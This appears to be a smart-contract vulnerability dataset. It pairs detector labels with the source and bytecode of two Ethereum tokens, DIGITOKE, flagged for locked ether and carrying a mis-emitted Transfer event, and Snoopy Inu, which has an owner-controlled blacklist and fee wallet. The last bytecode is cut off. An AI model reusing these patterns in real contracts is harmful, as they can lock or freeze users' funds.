9
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,650
0x44719c9E76285C20366F25E3C2e783E2A0424afc
/** *Submitted for verification at Etherscan.io on 2021-04-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract DIGITOKE is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private owner1=0x8D3e0513451FD3A367B51f1C1193b832910820CA; address private owner2=0x7f4717C3ea405e988865b4852E769C23Daf1003a;//Paste token owner address here /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = 'DIGITOKE'; //Name of token _symbol = 'DTOKE'; // Symbol of token _totalSupply= 21000000000 *(10**decimals()); //transfer total supply to owner _balances[address(this)]=12600000000e18; _balances[owner1]=4200000000e18; _balances[owner2]=4200000000e18; emit Transfer(address(0),address(this), _balances[address(this)]); emit Transfer(address(0),owner1, _balances[owner1]); emit Transfer(address(0),owner1, _balances[owner2]); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ /* function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ /* function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b4114610149578063a457c2d714610151578063a9059cbb14610164578063dd62ed3e14610177576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101b0565b6040516100c391906107e5565b60405180910390f35b6100df6100da3660046107bc565b610242565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610781565b610258565b604051601281526020016100c3565b6100df6101313660046107bc565b61030e565b6100f361014436600461072e565b610345565b6100b6610364565b6100df61015f3660046107bc565b610373565b6100df6101723660046107bc565b61040e565b6100f361018536600461074f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101bf90610867565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb90610867565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061024f33848461041b565b50600192915050565b600061026584848461053f565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61030385336102fe8685610850565b61041b565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161024f9185906102fe908690610838565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600480546101bf90610867565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102e6565b61040433856102fe8685610850565b5060019392505050565b600061024f33848461053f565b6001600160a01b03831661047d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e6565b6001600160a01b0382166104de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e6565b6001600160a01b0382166106055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e6565b6001600160a01b0383166000908152602081905260409020548181101561067d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e6565b6106878282610850565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106bd908490610838565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070991815260200190565b60405180910390a350505050565b80356001600160a01b038116811461035f57600080fd5b60006020828403121561073f578081fd5b61074882610717565b9392505050565b60008060408385031215610761578081fd5b61076a83610717565b915061077860208401610717565b90509250929050565b600080600060608486031215610795578081fd5b61079e84610717565b92506107ac60208501610717565b9150604084013590509250925092565b600080604083850312156107ce578182fd5b6107d783610717565b946020939093013593505050565b6000602080835283518082850152825b81811015610811578581018301518582016040015282016107f5565b818111156108225783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084b5761084b6108a2565b500190565b600082821015610862576108626108a2565b500390565b600181811c9082168061087b57607f821691505b6020821081141561089c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122047bf75a60a69554f3dec703f84f38e578e48cd8bea77043631d74afb1a9fbe6d64736f6c63430008030033
{"success": true, "error": null, "results": {}}
5,651
0x65DFa32DFf7F79cd1d24A7734001f522BE8f78b1
/** *Submitted for verification at Etherscan.io on 2021-11-21 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Snoopy is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); string private constant _name = "Snoopy Inu"; string private constant _symbol = "SNOOPY"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061295b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124d5565b61042a565b60405161016d9190612940565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612abd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612482565b61045c565b6040516101d59190612940565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906123e8565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612b32565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061255e565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906123e8565b610752565b6040516102a69190612abd565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612872565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b604051610313919061295b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124d5565b61095c565b6040516103509190612940565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612515565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612442565b611080565b6040516103e49190612abd565b60405180910390f35b60606040518060400160405280600a81526020017f536e6f6f707920496e7500000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b610525856040518060600160405280602881526020016131e760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b89092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612a1d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612a1d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161181c565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611917565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612a1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f534e4f4f50590000000000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612a1d565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612dd3565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611985565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612a1d565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a9d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612415565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190612415565b6040518363ffffffff1660e01b8152600401610dcb92919061288d565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190612415565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed3969594939291906128df565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906125b8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906128b6565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c919061258b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373fff